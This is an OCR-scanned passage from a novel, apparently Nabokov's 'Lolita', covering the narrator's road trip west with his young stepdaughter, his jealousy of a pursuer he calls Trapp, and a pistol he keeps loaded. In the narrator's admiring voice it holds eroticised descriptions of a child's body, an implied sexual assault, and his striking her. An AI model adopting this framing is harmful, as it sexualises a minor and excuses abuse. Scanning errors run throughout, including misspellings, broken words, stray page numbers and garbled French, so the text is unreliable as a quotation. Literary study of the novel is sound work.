veered +bom a totally unexpected direction. She had found the toilet +occupied and had crossed over to the sign of the Conche in +t-e next block. They said they were proud of their home-clean +rorirooms. These prepaid postcards, thev said, had been uro- +vwed for your comments. No postcards. No soap. Nothing +v'O comments. + +That cay or the next, after a tedious drive throuah a land of +.nod crops, wm reached a pleasant little burg and put up at + +195 + + + +Chestnut Court — nice cabins, damp green grounds, apple +trees, an old swing — and a tremendous sunset which the tired +child ignored. She had wanted to go through Kasbeam because +it was only thirty miles north from her home town but on the +following morning I found her quite listless, with no desire to +see again the sidewalk where she had played hopscotch some +five years before. For obvious reasons I had rather dreaded +that side trip, even though we had agreed not to make our- +selves conspicuous in any way — to remain in the car and not +look up old friends. My relief at her abandoning the project +was spoiled by the thought that had she felt I were totally +against the nostalgic possibilities of Pisky, as I had been last +year, she would not have given up so easily. On my men- +tioning this with a sigh, she sighed too and complained of +being out of sorts. She wanted to remain in bed till teatime +at least, with lots of magazines, and then if she felt better she +suggested we just continue westward. I must say she was very +sweet and languid, and craved for fresh fruits, and I decided to +go and fetch her a toothsome picnic lunch in Kasbeam. Our +cabin stood on the timbered crest of a hill, and from our +window you could see the road winding down, and then +running as straight as a hair parting between two rows of +chestnut trees, towards the pretty, town, which looked sin- +gularly distinct and toylike in the pure morning distance. One +could make out an elf-like girl on an insect-like bicycle, and a +dog, a bit too large proportionately, all as clear as those pilgrims +- and mules winding up wax-pale roads in old paintings with +blue hills and red little people. I have the European urge to +use my feet when a drive can be dispensed with, so I leisurely +walked down, eventually meeting the cyclist — a plain plump +girl with pigtails, followed by a huge St. Bernard dog with +orbits like pansies. In Kasbeam a very old barber gave me a +very mediocre haircut: he babbled of a baseball-playing son +of his, and, at every explodent, spat into my neck, and every +now and then wiped his glasses on my sheet-wrap, or inter- +rupted his tremulous scissor work to produce faded newspaper +clippings, and so inattentive was I that it came as a shock to +realize as he pointed to an easeled photograph among the +ancient gray lotions, that the mustached young ball player +had been dead for the last thirty years. + +I had a cup of hot flavorless coffee, bought a bunch of ba- +nanas for my monkey, and spent another ten minutes or so in +a delicatessen store. At least an hour and a half must have + +194 + + +elapsed svhcn this homeward-hound little pilgrim appeared on +the winding road leading to Chestnut Castle. + +The girl I had seen on my way to town was now loaded with +linen and engaged in helping a misshapen man whose big head +and coarse features reminded me of the "Bertoldo” character +in low Italian comedy. They were cleaning the cabins of which +there was a dozen or so on Chestnut Crest, all pleasantly +spaced amid the copious verdure. It was noon, and most of +them, with a final bang of their screen doors, had already got +rid of their occupants. A very elderly, almost mummy-like cou- +ple in a very new model were in the act of creeping out of +one of the contiguous garages; from another a red hood pro- +truded in somewhat cod-piece fashion; and nearer to our +cabin, a strong and handsome young man with a shock of +black hair and blue eyes was putting a portable refrigerator +into a station wagon. For some reason he gave me a sheepish +grin as I passed. On the grass expanse opposite, in the many- +limbcd shade of luxuriant trees, the familiar St. Bernard dog +was guarding his mistress’ bicycle, and nearby a young woman, +far gone in the family way, had seated a rapt baby on a swing +and was rocking it gently, while a jealous boy of two or three +was making a nuisance of himself by trying to push or pull +the swing hoard; he finally succeeded in getting himself +knocked down by it, and bawled loudly as he lay supine on +the grass while his mother continued to smile gently at neither +of her present children. I recall so clearly these minutiae prob- +ably because I was to check my impressions so thoroughly only +a few minutes later, and besides, something in me had been +on guard ever since that awful night in Beardsley. 1 now +refused to be diverted by the feeling of well-being that my +walk had engendered — by the young summer breeze that en- +veloped the nape of my neck, the giving crunch of the damp +gravel, the juicy tidbit I had sucked out at last from a hollow' +tooth, and even the comfortable weight of my provisions +which the general condition of my heart should not have +allowed me to carry; but even that miserable pump of mine +seemed to be working sweetly, and I felt adolori cfamoureuse +Bngucur, to quote dear old Ronsard, as I reached the cottage +where I had left my Dolores. + +To my surprise I found her dressed. She was sitting on the +edge of the bed in slacks and T-shirt, and was looking at me +as if she could not quite place me. The frank soft shape of +her small breasts was brought out rather than blurred bv the + +195 + + + +limpness of her thin shirt, and this frankness irritated me. She +had not washed; yet her mouth was freshly though smudgily +painted, and her broad teeth glistened like wine-tinged ivory, +or pinkish poker chips. And there she sat, hands clasped in +her lap, and dreamily brimmed with a diabolical glow that had +no relation to me whatever. + +I plumped down my heavy paper bag and stood staring at +the bare ankles of her sandaled feet, then at her silly face, then +again at her sinful feet. “You’ve been out,” I said (the sandals +were filthy with gravel) . + +“I just got up,” she replied, and added upon intercepting +my downward glance: '“Went out for a sec. Wanted to see +if you were coming back.” + +She became aware of the bananas and uncoiled herself table- +ward. + +What special suspicion could I have? None indeed — but +those muddy, moony eyes of hers, that singular warmth ema- +nating from her! I said nothing. I looked at the road mean- +dering so distinctly within the frame of the window . . . +Anybody wishing to betray my trust would have found it a +splendid lookout. With rising appetite, Lo applied herself to +the fruit. All at once I remembered the ingratiating grin of +the Johnny nextdoor. I stepped out quickly. All cars had dis- +appeared except his station wagon; his pregnant young wife +was now getting into it with her baby and the other, more +or less cancelled, child. + +“What’s the matter, where are you going?” cried Lo from +the porch. + +I said nothing. I pushed her softness back into the room and +went in after her. I ripped her shirt off. I unzipped the rest of +her. I tore off her sandals. Wildly, I pursued the shadow of her +infidelity; but the scent I travelled upon v/as so slight as to be +practically undistinguishable from a madman’s fancy. + + +17 + + +Gitos Gaston, in his prissy way, had liked to make presents — +presents just a prissy rvee bit out of the ordinary, or so he +prissily thought. Noticing one night that my box of chessmen + +196 + + + +was broken, he sent rne next morning, with a little lad of his. +a copper case: it had an elaborate Oriental design over the +lid and could be securely locked. One glance sufficed to assure +me that it was one of those cheap money boxes called for +some reason "luizettas” that you buy in Algiers and elsewhere, +and •wonder what to do with afterwards. It turned out to be +much too fiat for holding my bulky chessmen, but I kept it — +using it for a totally different purpose. + +In order to break some pattern of fate in which 1 obscurely +felt myself being enmeshed, I had decided — despite Lo's risi- +ble annoyance — to spend another night at Chestnut Court; +definitely waking up at four in the morning, I ascertained that +Lo was still sound asleep (mouth open, in a kind of dull +amazement at the curiously inane life we all had rigged up +for her) and satisfied myself that the precious contents of the +'ffuizetta" were safe. There, snugly wrapped in a white woollen +scarf, lay a pocket automatic: caliber .52, capacity of magazine +8 cartridges, length a little under one ninth of Lolita’s length, +stock checked walnut, finish full blued. I had inherited it +from the late Harold Haze, with a 1958 catalog which cheerily +said in part: "Particularly well adapted for use in the home +and car as well as on the person." There it lay. ready for instant +service on the person or persons, loaded and fully cocked with +the slide lock in safety position, thus precluding any acci- +dental discharge. We must remember that a pistol is the +Freudian symbol of the Ur-fathcr’s central forclimb. + +I was now glad I had it with me — and even mom glad that I +had learned to use it two years before, in the pine forest around +my and Charlotte’s glass Lake. Farlow, with whom 1 had +roamed those remote woods, was an admirable marksman, and +with his .38 actually managed to hit a humming bird, though +I must say not much of it could be retrieved for proof — only +a little iridescent fluff. A burly cx-policcman called Krtr- +tovski, who in the twenties had shot and lolled two escaped +convicts, joined us and bagged a tiny woodpecker — completely +out of season, incidentally. Ectwcen those two sportsmen I of +course was a norice and kept missing everything, though 1 +did wound a squirrel on a later occasion when 1 went out +alone. "You He here.” I whispered to my light-weight com- +pact little chum, and then toasted it with a drr.m cf pin. + + +197 + + + +The readee must now forget Chestnuts and Colts, and ac- +company us further west The following days were marked by a +number of great thunderstorms — or perhaps, there was but one +single storm which progressed across country in ponderous +frog-leaps and which we could not shake off just as we could +not shake off detective Trapp: for it was during those days that +the problem of the Aztec Red Convertible presented itself +to me, and quite overshadowed the theme of Lo’s lovers. + +Queerl I who was jealous of every male we met — queer, how +I misinterpreted the designations of doom. Perhaps I had been +lulled by Lo's modest behavior in winter, and anyway it would +have been too foolish even for a lunatic to suppose another +Humbert was avidly following Humbert and Humbert's +nymphet with Jovian fireworks, over the great and ugly plains. +I surmised, done, that the Red Yak keeping behind us at a +discreet distance mile after mile was operated by a detectiye +whom some busybody had hired to see what exactly Humbert +Humbert was doing with that minor stepdaughter of his. As +happens with me at periods of electrical disturbance and +crepitating lightnings, I had hallucinations. Maybe they were +more than hallucinations. I do not know what she or he, or +both had put into my liquor but one night I felt sure some- +body was tapping on the door of our cabin, and I flung it +open, and noticed two things — that I was stark naked and +that, white-glistening in the rain-dripping darkness there stood +a man holding before his face the mask of Jutting Chin, a +grotesque sleuth in the funnies. He emitted a muffled guffaw +and scurried away, and I reeled back into the room, and +fell asleep again, and am not sure even to this day that the visit +was not a drag-provoked dream: I have thoroughly studied +Trapp’s type of humor, and this might have been a plausible +sample. Oh, crude and absolutely ruthlessl Somebody, I imag- +ined, was making money on those masks of popular monsters +and morons. Did I see next morning two urchins rummaging +in a garbage can and trying on Jutting Chin? I wonder. It +may all have been a coincidence— due to atmospheric condi- +tions, I suppose. + +Being a murderer with a sensational but incomplete and un- + +198 + + +orthodox memory, I cannot tell yon, ladies and gentlemen, the +exact day when I first knew with ntter certainty that the red +convertible was following us. I do remember, however, the first +time I saw its driver quite clearly. I was proceeding slowly one +afternoon through torrents of rain and kept seeing that red +ghost swimming and shivering with lust in my mirror, when +presently the deluge dwindled to a patteT, and then was sus- +pended altogether. With a swishing sound a sunburst swept +the highway, and needing a pair of new sunglasses, I pulled +up at a filling station. What was happening was a sickness, a +cancer, that could not be helped, so I simply ignored the fact +that our quiet pursuer, in his converted state, stopped a little +behind us at a cafd or bar bearing the idiotic sign: The Bustle: +A Deceitful Seatful. Having seen to the needs of my car, I +walked into the office to get those glasses and pay for the gas. +As I was in the act of signing a travellers' check and wondered +about my exact whereabouts, I happeued to glance through +a side window, and saw a terrible thing. A broad-backcd man, +baldish, in an oatmeal coat and dark-brown trousers, was lis- +tening to Lo who was leaning out of the car and tailing to +him very' rapidly, heT hand with outspread fingers going up +and down as it did when she was very serious and emphatic. +What struck me with sickening force was — how should I put +it? — the voluble familiarity' of her way, as if they had known +each other — oh, for weeks and weeks. I saw him scratch his +cheek and nod, and turn, and walk back to his convertible, s +broad and thickish man of my age, somewhat resembling +Gustave Trapp, a cousin of my father’s in Switzerland — same +smoothly tanned face, fuller than mine, with a small dark mus- +tache and a rosebud degenerate mouth. Lolita was studying a +road map when I got bad: into the cur. + +“What did that man ask you, Lo?" + +“Man? Oh, that man. Oh yes. Oh, I don’t know. He won- +dered if I had a map. Lost his way, I guess.” + +We drove on, and I said: + +“Now listen, Lo. I do not know whether yen ere Ling or +not, and I do not know whether you arc insane or not. end I +do not care for the moment; but that person has been foliar.-- +ing us all day, and his car was at the motel yesterday, and I +think he is a cop. You know perfectly well what will happen +and where you will go if the police find out about thin,;;. Now +I wont to know erectly whet he said to }ou and what you +told him.” + + +19 ? + + + +She laughed. + +"If he's really a cop,” she said shrilly but not iHogically, “the +worst thing we could do, would be to show him we are scared. +Ignore him, Dad.” + +"Did he ash where we were going?” + +“Oh, he knows that” (mocking me) . + +“Anyway,” I said, giving up, "I have seen his face now. He +is not pretty. He looks exactly like a relative of mine called +Trapp.” + +“Perhaps he is Trapp. If I were you — Oh, look, all the nines +are changing into the next thousand. When I was a little kid,” +she continued unexpectedly, “I used to think they’d stop and +go back to nines, if only my mother agreed to put the car +in reverse.” + +It was the first time, I think, she spoke spontaneously of her +pre-Humbertian childhood; perhaps, the theatre had taught +her that trick; and silently we travelled on, unpursued. + +But next day, like pain in a fatal disease that comes back +as the drug and hope wear off, there it was again behind us, +that glossy red beast. The traffic on the highway was light that +day; nobody passed anybody; and nobody attempted to get +in between our humble blue car and its imperious red shadow +— as if there were some spell cast on that interspace, a zone +of evil mirth and magic, a zone whose very precision and sta- +bility had a glass-like virtue that was almost artistic. The +driver behind me, with his stuffed shoulders and Trappish +mustache, looked like a display dummy, and his convertible +seemed to move only because an invisible rope of silent silk +connected it with our shabby vehicle. We were many times +weaker than his splendid, lacquered machine, so that I did +not even attempt to outspeed him. O lente cunite noctis equil +O softly run, nightmares! We climbed long grades and rolled +downhill again, and heeded speed limits, and spared slow +children, and reproduced in sweeping terms the black wiggles +of curves on their yellow shields, and no matter how and +where we drove, the enchanted interspace slid on intact, +mathematical, mirage-like, the viatic counterpart of a magic +carpet. And all the time I was aware of a private blaze on my +right: her joyful eye, her flaming cheek. + +A traffic policeman, deep in the nightmare of crisscross +streets — at half-past-four p.m. in a factory town — was the +hand of chance that interrupted the spell. He beckoned me + +200 + + + +on, and then with the same hand cut off my shadow. A score +of cars were launched in between us, and I sped on, and deftly +turned into a narrow lane. A sparrow alighted with a jumbo +bread crumb, was taclded by another, and lost the crumb. + +When after a few grim stoppages and a bit of deliberate +meandering, I returned to the highway, our shadow had dis- +appeared. + +Lola snorted and said: "If he is what you think he is, how +silly to give him the slip.” + +"I have other notions by now,” I said. + +"You should — ah— check them by — ah — keeping in tench +with him, fahther deah,” said Lo, writhing in the coils of her +own sarcasm. "Gee, you are mean,” she added in her ordinary +voice. + +We spent a grim night in a very foul cabin, under a +sonorous amplitude of rain, and with a land of prchistorically +loud thunder incessantly rolling above us. + +"I am not a lady and do not like lightning,” said Lo, whose +dread of electric storms gave me some pathetic solace. + +We had breakfast in the township of Soda, pop. 1091. + +"Judging by the terminal figure,” I remarked, "Fatfaec +is already here." + +“Your humor,” said Lo, "is sidesplitting, dcab fahther.” + +We were in sage-brush country by that time, and there war +z day or two of lovely release (I had been a fool, all was well, +that discomfort was merely a trapped flatus), and presently +the mesas gave way to real mountains, and, on time, vc drove +into Wacc. + +Oh, disaster. Some confusion had occurred, she had m bread +fi date in the Tour Book, and the Marie Cave ceremonies were +over! She took it b rarely, I must admit — and, when we dis- +covered there was in lcurortish Wace a summer theatre in full +ruing, we naturally drifted toward it one fair mid-June evening. +I really could not tell you the plot of the play we saw. A trivial +affair, no doubt, with self-conscious light effects and a m:di- +oerc leading lady. The only detail that pleased me wc> r*r- +land of seven little graces, more or less immobile, prettily +painted, barclimbed — seven bemused pubescent iritis in c.b +ored gaur.c that had been recruited locally (judging by the +partisan flurry here and there among the audience 1 end ear +supposed to represent a living rainbow, which lingered thteerh- +out the last act, and rather trcs-incly faced behind a tree, e: + +291 ~ + + + +multiplied veils. I remember thinking that this idea of chil- +dren-colors had been lifted by authors Clare Quilty and Vivian +Darkbloom from a passage in James Joyce, and that two of the +colors were quite exasperatingly lovely — Orange who kept +fidgeting all the time, and Emerald who, when her eyes got +used to the pitch-black pit where we all heavily sat, suddenly +smiled at her mother or her protector. + +As soon as the thing was over, and manual applause — a +sound my nerves cannot stand — began to crash all around me, + +I started to pull and push Lo toward the exit, in my so natural +amorous impatience to get her back to our neon-blue cottage +in the stunned, starry night: I always say nature is stunned by +the sights she sees. Dolly-Lo, however, lagged behind, in a | +rosy daze, her pleased eyes narrowed, her sense of vision +swamping the rest of her senses to such an extent that her +limp hands hardly came together at all in the mechanical +action of clapping they still went through. I had seen that +kind of thing in children before but, by God, this was a +special child, myopically beaming at the already remote stage +where I glimpsed something of the joint authors — a man’s +tuxedo and the bare shoulders of a hawklike, black-haired. +Strikingly tall woman. + +"You’ve again hurt my wrist, you brute,” said Lolita in a +small voice as she slipped into her car seat. + +"I am dreadfully sorry, my darling, my own ultraviolet dar- +ling,” I said, unsuccessfully trying to catch her elbow, and I +added, to change the conversation — to change the direction +of fate, oh God, oh God: "Vivian is quite a woman. I am +sure we saw her yesterday in that restaurant, in Soda pop.” + +“Sometimes,” said Lo, "you are quite revoltingly dumb. +First, Vivian is the male author, the gal author is Clare; and +second, she is forty, married and has Negro blood.” + +"I thought,” I said kidding her, “Quflty was an ancient +flame of yours, in the days when you loved me, in sweet old +Ramsdale.” + +"What?” countered Lo, her features working. “That fat +dentist? You must be confusing me with some other fast +little article.” + +And I thought to myself how those fast little articles forget +everything, everything, while we, old lovers, treasure every inch +of their nymphancy. + + + + +202 + + +19 + + +With Lo's knowledge and assent, the two post offices given +to the Beardsley postmaster as forwarding addresses were P.O. +Wace and P.O. Elphinstone. Next morning we visited the +former and had to wait in a short but slow queue. Serene Lo +studied the rogues' gallery. Handsome Biyan Bryansld, alias +Anthony Bryan, alias Tony Brown, eyes hazel, complexion +fair, was wanted for kidnaping. A sad-eyed old gentleman's +faux-pas was mail fraud, and, as if that were not enough, he +was cursed with deformed arches. Sullen Sullivan came with +a caution: Is believed armed, and should be considered ex- +tremely dangerous. If you want to make a movie out of my +book, have one of these faces gently melt into my own, while +I look. And moreover there was a smudgy snapshot of a +Missing Girl, age fourteen, wearing brown shoes when last +seen, rhymes. Please notify Sheriff Buffer. + +I forget my letters; as to Dolly's, there was her report and +a very special-looking envelope. This I deliberately -opened +and perused its contents. I concluded I was doing the foreseen +since she did not seem to mind and drifted toward the news- +stand near the exit + +"Dolly-Lo: Well, the play was a grand success. AD three +hounds lay quiet having been slightly drugged by Cutler, I +suspect, and Linda knew all your lines. She was fine, she had +alertness and control, but lacked somehow the responsiveness, +the relaxed vitality, the charm of my — and the author’s — +» Diana; but there was no author to applaud us as last time, +and the terrific electric storm outside interfered with our own +modest off-stage thunder. Oh dear, life does fly. Now that +everything is over, school, play, the Roy mess, mother’s con- +finement (our baby, alas, did not live!), it all seems such a +Iona .time ago, though practically I still bear traces of the paint. + +v 77e are going to New York after to-morrow, and I guess I +can’t manage to wriggle out of accompanying my parents to +Europe. I have even worse news for you, Dolly-Lo! I may not +be back at Beardsley if and when you return. With one thing +and another, one being you know who, and the other not being + +203 + + + +who you think you know. Dad wants me to go to school in +Paris for one year while he and Fullbright axe around.. + +“As expected, poor Poet stumbled in Scene III when arriving +at the bit of French nonsense. Remember? Ne manque pas de +dire k ton am ant, Chim&ne, comme le lac est beau car il faut +qu'il t'y mkne. Lucky beau! Qu’il t’y — What a tongue-twister! +Well, be good, Lollikins. Best love from your Poet, and best +regards to the Governor. Your Mona. P. S. Because of one +thing and another, my correspondence happens to be rigidly +controlled. So better wait till I write you from Europe.” (She +never did as far as I know. The letter contained an element of +mysterious nastiness that I am too tired to-day to analyze. I +found it later preserved in one of the Tour Books, and give it +here k tit re documentaire. I read it twice.) + +I looked up from the letter and was about to — There was no +Lo to behold. While I was engrossed in Mona's witchery, Lo +had shrugged her shoulders and vanished. "Did you happen +to see — ” I asked of a hunchback sweeping the floor near the +entrance. He had, the old lecher. He guessed she had seen +a friend and had hurried out. I hurried out too. I stopped — she +had not. I hurried on. I stopped again. It had happened at +last. She had gone for ever. • , + +In later years I have often wondered why she did not go for +ever that day. Was it the retentive quality of her new summer +clothes in my locked car? Was it some unripe particle in some +general plan? Was it simply because, all things considered, I +might as well be used to convey her to Elphinstone — the secret +terminus, anyway? I only know I was quite certain she had left +me for ever. The noncommittal mauve mountains half encir- +cling the town seemed to me to swarm with panting, scram- +bling, laughing, panting Lolitas who dissolved in their haze. A +big W made of white stones on a steep talus in -the far vista of +a cross street seemed the very initial of woe. + +The new and beautiful post office I had just emerged from +stood between a dormant movie house and a conspiracy of +poplars. The time was 9 a.m. mountain time. The street was +Main Street I paced its blue side peering at the opposite one: +charming it into beauty, was one of those fragile young sum- +mer mornings with flashes of glass here and there and a +general air of faltering and almost fainting at the prospect +of an intolerably torrid noon. Crossing over, I loafed and +leafed, as it were, through one long block: Drugs, Real +Estate, Fashions, Auto Parts, Cafe, Sporting Goods, Real + +204 + + +Estate, Furniture, Appliances, Western Union, Cleaners, +Grocery. Officer, officer, my daughter has run away. In collu- +sion with a detective; in love with a blackmailer. Took advan- +tage of my utter helplessness. I peered into all the stores. I +deliberated only if I should talk to any of the sparse foot- +passengers. I did not I sat for a while in the parked car. I +inspected the public garden on the east side. I went back +to Fashions and Auto Parts. I told myself with a burst of +furious sarcasm — un ricanement — that I was crazy to suspect +her, that she would turn up in a minute. + +She did. + +I wheeled around and shook off the hand she had placed +on my sleeve with a timid and imbecile smile. + +"Get into the car,” I said. + +She obeyed, and I went on pacing up and down, struggling +with nameless thoughts, trying to plan some way of tackling +her duplicity. + +Presently she left the car and was at my side again. My +sense of hearing gradually got tuned in to station Lo again, +and I became aware she was telling me that she had met a +former girl friend. + +“Yes? Whom?” + +"A Beardsley girh" + +"Good. I know every name in your group. Alice Adams?” + +"This girl was not in my group.” + +“Good. I have a complete student list with me. Her name +please.” + +“She was not in my school. She is just a town girl in +Beardsley.” + +"Good. I have the Beardsley directory with me too. Well +look up all the Browns.” + +“I only know her first name.” + +"Mary or Jane?" + +"No — Dolly, like me.” + +“So that’s the dead end” (the mirror you break your nose +against). "Good. Let us try another angle. You have been ab- +sent twenty-eight minutes. What did the two Dollys do?” + +‘We went to a drugstore.” + +“And you had there — ?” + +“Oh, just a couple of cokes.” + +"Careful, Dolly. We can check that, you know.” + +"At least, she had. I had a glass of water.” + +"Good. Was it that place there?” + +205 + + + +"Sure.” + +"Good, come on, we'll grill the soda jerk." + +"Wait a sec. Come to think it might have been further +down — just around the comer." + +"Come on all the same. Go in please. Well, let’s see.” +(Opening a chained telephone book.) "Dignified Funeral +Service. No, not yet. Here we are: Druggists-Retail. Hill Drug +Store. Larkin’s Pharmacy. And two more. That’s all Wace +seems to have in the way of soda fountains — at least in the +business section. Well, we will check them all.” + +"Go to hell," she said. + +"Lo, rudeness will get you nowhere.” + +"Okay,” she said. "But you’re not going to trap me. Okay, +so we did not have a pop. We just talked and looked at dresses +in show windows.” + +"Which? That window there for example?” + +"Yes, that one there, for example.” + +"Oh Lo! Let’s look closer at it” + +It was indeed a pretty sight. A dapper young fellow was +vacuum-cleaning a carpet of sorts upon which stood two figures +that looked as if some blast had just worked havoc with them. +One figure was stark naked, wigless and armless. Its compara- +tively small stature and smirking pose suggested that when +clothed it had represented, and would represent when clothed +again, a girl child of Lolita's size. But in its present state it was +sexless. Next to it, stood a much taller veiled bride, quite per- +fect and intacta except for the lack of one arm. On the floor, +at the feet of these damsels, where the man crawled about +laboriously with his cleaner, there lay a cluster of three slender +arms, and a blond wig. Two of the arms happened to be +twisted and seemed to suggest a clasping gesture of horror +and supplication. + +"Look, Lo,” I said quietly. "Look well. Is not that a rather +good symbol of something or other? However” — I went on as +we got back into the car — "I have taken certain precautions. +Here (delicately opening the glove compartment), on this +pad, I have our boy friend’s car number.” + +As the ass I was I had not memorized it. What remained of +it in my mind were the initial letter and the closing figure as if +the whole amphitheatre of six signs receded concavely behind a +tinted glass too opaque to allow the central series to be deci- +phered, but just translucent enough to make out its extreme +edges — a capital P and a 6. I have to go into those details + +206 + + +(which in themselves can interest only a professional psy- +chologne) because otherwise the reader (ah, if I could vis- +ualize him as a blond-bearded scholar with rosy lips sucking +la pomme de sa canne as he quaffs my manuscript!) might +not understand the quality . of the shock I experienced upon +noticing that the P had acquired the bustle of a B and that +the 6 had been deleted altogether. The rest, with erasures +revealing the hurried shuttle smear of a pencil's rubber end, +and with parts of numbers obliterated or reconstructed in a +child’s hand, presented a tangle of barbed wire to any logical +interpretation. All I knew was the state — one adjacent to the +state Beardsley was in. + +I said nothing. I put the pad back, closed the compartment, +and drove out of Wace. Lo had grabbed some comics from +the back seat and, mobile-white-bloused, one brown elbow out +of the window, was deep in the current adventure of some +clout or clown. Three or four miles out of Wace, I turned into +the shadow of a picnic ground where the morning had dumped +- its litter of light on an empty table; Lo looked up with a semi- +smile of surprise and without a word I delivered a tremendous +backhand cut that caught her smack on her hot hard little +cheekbone. + +And then the remorse, the poignant sweetness of sobbing +atonement, groveling love, the hopelessness of sensual recon- +ciliation. In the velvet night, at Mirana Motel (Miranal) I +kissed the yellowish soles of her long-toed feet, I immolated +myself . . . But it was all of no avail. Both doomed were we. +And soon I was to enter a new cycle of persecution. + +In a street of Wace, on its outskirts . . . Oh, I am quite +sure it was not a delusion. In a street of Wace, I had glimpsed +the Aztec Red Convertible, or its identical twin. Instead of +Trapp, it contained four or fisc loud young people of several +sexes — -but I said nothing. After Wace a totally new situation +arose. For a day or two, I enjoyed the mental emphasis with +which I told myself that we were not, and never had been fol- +lowed; and then I became sickeningly conscious that Trapp +had changed his tactics and was still with us, in this or that +rented car. + +A veritable Proteus of the highway, with bewildering ease +he switched from one vehicle to another. This technique im- +plied the existence of garages specializing in “stage-auto- +mobile” operations, but I neser could discover the remises be +used. He seemed to patronize at first the Chevrolet genus, + +207 + + +beginning with a Campus Cream convertible, then going on +to a small Horizon Blue sedan, and thenceforth fading into +Surf Gray and Driftwood Gray. Then he turned to other +malces and passed through a pale dull rainbow of paint shades, +and one day I found myself attempting to cope with the subtle +distinction between our own Dream Blue Melmoth and the +Crest Blue Oldsmobile he had rented; grays, however, re- +mained his favorite cryptochromism, and, in agonizing night- +mares, I tried in vain to sort out properly such ghosts as +Chrysler's Shell Gray, Chevrolet’s Thistle Gray, Dodge's +French Gray . . . + +The necessity of being constantly on the lookout for his +little moustache and open shirt — or for his baldish pate and +broad shoulders — led me to a profound study of all cars on +the road — behind, before, alongside, coming, going, every +vehicle under the dancing sun: the quiet vacationist’s auto- +mobile with the box of Tender-Touch tissues in the back +window; the recklessly speeding jalopy full of pale children +with a shaggy dog’s head protruding, and a crumpled mud- +guard; the bachelor’s tudor sedan crowded with suits on +hangers; the huge fat house trailer weaving in front, immune +to the Indian file of fury boiling behind it; the car with the +young female passenger politely perched in the middle of the +front seat to be closer to the young male driver; the car carry- +ing on its roof a red boat bottom up . . . The gray car slowing +up before us, the gray car catching up with us. + +We were in mountain country, somewhere between Snow +and Champion, and rolling down an almost imperceptible +grade, when I had my next distinct view of Detective Para- +mour Trapp. The gray mist behind us had deepened and +concentrated into the compactness of a Dominion Blue sedan. +All of a sudden, as if the car I drove responded to my poor +heart’s pangs, we were slithering from side to side, with some- +thing making a helpless plap-plap-plap under us. + +"You got a flat, mister,” said cheerful Lo. + +I pulled up — near a precipice. She folded her arms and put +her foot on the dashboard. I got out and examined the right +rear wheel. The base of its tire was sheepishly and hideously +square. Trapp had stopped some fifty yards behind us. His +distant face formed a grease spot of mirth. This was my +chance. I started to walk towards him — with the brilliant idea +of asking him for a jack though I had one. He backed a little. +I stubbed my toe against a stone — and there was a sense of + +208 + + +general laughter. Then a tremendous truck loomed from be- +hind Trapp and thundered by me — and immediately after, +I heard it utter a convulsive honk. Instinctively I looked back +— and saw my own car gently creeping away. I could make out +Lo ludicrously at the wheel, and the engine was certainly run- +ning — though I remembered I had cut it but had not applied +the emergency brake; and during the brief space of throb- +time that it took me to reach the croaking machine which +came to a standstill at last, it dawned upon me that during +the last two years little Lo had had ample time to pick up +the rudiments of driving. As I wrenched the door open, I +was goddam sure she had started the car to prevent me from +walking up to Trapp, Her trick proved useless, however, for +even while I was pursuing her he had made an energetic U- +tum and was gone. I rested for a while. Lo asked wasn’t I +going to thank her — the car had started to move by itself and +— Getting no answer, she immersed herself in a study of the +. map. I got out again and commenced the “ordeal of the orb,” +as Charlotte used to say. Perhaps, I was losing my mind. + +We continued our grotesque journey. After a forlorn and +useless dip, we went up and up. On a steep grade I found +myself behind the gigantic track that had overtaken us. It was +now groaning up a winding road and was impossible to pass. +Out of its front part a small oblong of smooth silver — the +inner wrapping of chewing gum — escaped and flew back into +our windshield. It occurred to me that if I were really losing +my mind, I might end by murdering somebody. In fact — said +high-and-dry Humbert to floundering Humbert — it might he +quite clever to prepare things — to transfer the weapon from +'box to pocket — so as to be ready to take advantage of the +spell of insanity when it does come. + + +20 + + +By PERMnrtNC Lolita to study acting I had, fond fool, +suffered her to cultivate deceit. It now appeared that it had +not been merely a matter of learning the answers to such +questions as what is the basic conflict in “Hedda Gabler," +or where are the climaxes in “Love Under the Lindens," or + +209 + + + +analyze the prevailing mood of “Cherry Orchard"; it was +really a matter of learning to betray me. How I deplored now +the exercises in sensual simulation that I had so often seen +her go through in our Beardsley parlor when I would observe +her from some strategic point while she, like a hypnotic sub- +ject or a performer in a mystic rite, produced sophisticated +versions of infantile make-believe by going through the mi- +metic actions of hearing a moan in the dark, seeing for the +first time a brand new young stepmother, tasting something ' +she hated, such as buttermilk, smelling crushed grass in a +lush orchard, or touching mirages of objects with her sly, +slender, girl-child hands. Among my papers I still have a +mimeographed sheet suggesting: + +“Tactile drill. Imagine yourself picking up and holding: +a pingpong ball, an apple, a sticky date, a new flannel- +fluffed tennis ball, a hot potato, an ice cube, a kitten, a +puppy, a horseshoe, a feather, a torchlight. + +Knead with your fingers the following imaginary things: +a piece of bread, india rubber, a friend’s aching temple, a +sample of velvet, a rose petal. + +You are a blind girl. Palpate the face of: a Greek youth, +Cyrano, Santa Claus, a baby, a laughing faun, a sleeping +stranger, your father." + +But she had been so pretty in the weaving of those delicate +spells, in the dreamy performance of her enchantments and +dutiesl On certain adventurous evenings, in Beardsley, I also +had her dance for me with the promise of some treat or gift, +and although these routine leg-parted leaps of hers were more +like those of a football cheerleader than like the languorous +and jerky motions of a Parisian petit rat, the rhythms of her +not quite nubile limbs had given me pleasure. But all that was +nothing, absolutely nothing, to the indescribable itch of rap- +ture that her tennis game produced in me — the teasing delir- +ious feeling of teetering on the very brink of unearthly order +and splendor. + +Despite her advanced age, she was more of a nyrophet than +ever, with her apricot-colored limbs, in her sub-teen tennis +togs! Winged gentlemen! No hereafter is acceptable if it does +not produce her as she was then, in that Colorado resort be- +tween Snow and Elphinstone, with everything right: the white +wade little-boy shorts, the slender waist, the apricot midriff, + +210 + + +the white breast-kerchief whose ribbons went up and encircled +her neck to end behind in a dangling knot leaving bare her +gaspingly young and adorable apricot shoulder blades with +that pubescence and those lovely gentle bones, and the +smooth, downward-tapering bade. Her cap had a white peak. + +Her racket had cost me a small fortune. Idiot, triple idiot! + +I could have filmed her! I would have had her now with me, +before my eyes, in the projection room of my pain and de- +spair. + +She would wait and relax for a bar or two of white-lined time +before going into the act of serving, and often bounced the +ball once or twice, or pawed the ground a little, always at +ease, always rather vague about the score, always cheerful as +she so seldom was in foe dark life she led at home. Her tennis +was foe highest point to which I can imagine a young creature +bringing foe art of make-believe, although I daresay, for her +it was foe very geometry of basic reality. + +The exquisite clarity of all her movements had its auditory +counterpart in the pure ringing sound of her every stroke. The +ball when it entered her aura of control became somehow +whiter, its resilience somehow richer, and foe instrument of 